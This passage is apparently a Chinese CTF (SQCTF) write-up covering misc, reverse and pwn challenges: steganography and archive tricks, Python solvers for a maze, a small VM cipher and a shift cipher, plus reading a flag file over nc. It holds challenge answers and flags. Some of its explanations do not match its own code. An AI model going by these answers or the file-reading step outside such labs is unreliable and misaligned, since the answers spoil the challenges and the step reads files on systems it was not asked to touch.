resultList = rearrange2(resultList)
for i in resultList:
    print(i)
image-20250411144431200

参考:XCTF-crypto—转轮机加密 - 我是球啊 - 博客园

misc

Welcome_Sign_in

扫码关注公众号,回复即可,主要这里的要用中文的!!!

love.host

binwalk分离然后打开压缩包即可,记得将sqctf改成大写

image-20250410105652832 image-20250410105713725

ez_music1

打开频谱图就可看到

image-20250410235811291

YuanShen_Start!

音频一放看到密码

image-20250411005953127

解压后将word转为压缩包,然后解压,在word-media找到图片

image-20250411012115247

010打开发现铭感数字

image-20250411012128902

随波逐流梭,然后解密发现是base58编码,然后继续梭,发现是栅栏加密,这是压缩包密码

image-20250411012057445

SQCTF{Yuan_Shen_Start!}

reverse

慕然回首,那人却在灯火阑珊处

先反编译

image-20250413201938368

ai梭哈了

image-20250413202611710
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import sys
from collections import deque

# 逆向分析出的迷宫参数
MAZE_WIDTH = 10
MAZE_HEIGHT = 10
WALL_CHAR = 35  # ASCII '#'
END_CHAR = 69  # ASCII 'E'

# 根据逆向代码推断的迷宫结构(需动态分析实际数据)
maze = [
    [35, 35, 35, 35, 35, 35, 35, 35, 35, 35],
    [35, 83, 32, 32, 35, 32, 32, 32, 32, 35],  # S=起点(1,1)
    [35, 35, 35, 32, 35, 32, 35, 35, 32, 35],
    [35, 32, 32, 32, 35, 32, 32, 35, 32, 35],
    [35, 35, 35, 32, 35, 32, 35, 35, 32, 35],
    [35, 32, 32, 32, 32, 32, 35, 32, 32, 35],
    [35, 35, 35, 35, 35, 32, 35, 32, 35, 35],
    [35, 32, 32, 32, 32, 32, 32, 32, 32, 35],
    [35, 35, 35, 32, 35, 35, 35, 35, 32, 35],
    [35, 35, 35, 35, 35, 35, 35, 35, 69, 35]  # E=终点(8,8)
]


def find_path():
    # BFS算法寻找最短路径(网页1/4/8方法综合)
    directions = {'w': (-1, 0), 's': (1, 0), 'a': (0, -1), 'd': (0, 1)}
    start = (1, 1)  # 根据逆向代码推断的起始坐标
    end = (8, 8)

    queue = deque()
    queue.append((start[0], start[1], ""))
    visited = set()

    while queue:
        x, y, path = queue.popleft()

        # 到达终点(网页1的终止条件)
        if maze[x][y] == END_CHAR:
            return path

        # 遍历四个方向(网页8的逆时针顺序:右/下/左/上)
        for move in ['d', 's', 'a', 'w']:
            dx, dy = directions[move]
            nx, ny = x + dx, y + dy

            # 边界检查(根据逆向代码逻辑)
            if 0 <= nx < MAZE_HEIGHT and 0 <= ny < MAZE_WIDTH:
                # 碰撞检测(逆向代码中的35检查)
                if maze[nx][ny] != WALL_CHAR and (nx, ny) not in visited:
                    visited.add((nx, ny))
                    queue.append((nx, ny, path + move))

    return None


# 生成flag(网页4的路径格式要求)
if __name__ == "__main__":
    path = find_path()
    if path:
        print(f"sqctf{{{path}}}")  # 符合逆向代码中flag格式要求
    else:
        print("No path found!")
image-20250413202745742

圣人当仁不让

还是照样反编译,然后将main还有vm_execute(将flag的每个字符异或0xAA再+3)喂给ai

image-20250413203107991 image-20250413205146395
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import base64

# 预定义的字符串
Str2 = "/P7sAe/U0s7c1vjb0vjfyt=="

# 解码 Str2
decoded_Str2 = base64.b64decode(Str2)
print(f"Decoded Str2: {decoded_Str2}")

# 逆向 vm_execute
def reverse_vm_execute(input_bytes):
    result = bytearray(input_bytes)
    for i in range(len(result)):
        # 逆向操作:减 2,加 5,XOR 0xAA
        # 确保字节值在 0 到 255 之间
        result[i] = (result[i] + 2) % 256
        result[i] = (result[i] - 5) % 256
        result[i] ^= 0xAA
    return bytes(result)

# 找到正确的输入
correct_input = reverse_vm_execute(decoded_Str2)
print(f"Correct input: {correct_input.decode()}")
image-20250413213418776

flag是SQCTF{easy_re_vm}

ezRe

一样的python反编译

image-20250413212900588

解码的SQCTF{5ed2be45-2e83-48d2-b631-c088e51ee964}

鹅鹅鹅,曲项向天歌

跟上面一样,这个代码直接给ai解密即可

image-20250413213131198
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
ciphertext = 'itd~tzw_know_sanmenxbZ8'

# 分段处理
part1_encrypted = ciphertext[:7]        # 前7字符:itd~tzw
part2_encrypted = ciphertext[7:20]      # 中间13字符:_know_sanmenx
part3_encrypted = ciphertext[20:]       # 剩余1字符:8

# 逆向操作
part2_part1 = ''.join([chr(ord(c) - 5) for c in part1_encrypted])
part2_part2 = part2_encrypted           # 保持原样
part2_part3 = ''.join([chr(ord(c) + 7) for c in part3_encrypted])

# 组合原始 part2
part2 = part2_part1 + part2_part2 + part2_part3

# 生成完整 flag
true_flag = f'flag{{{part2}}}'
print(true_flag)
image-20250413213601704

PWN

浅红欺醉粉,肯信有江梅

nc连接,然后cat /flag

image-20250413165719531

谢谢观看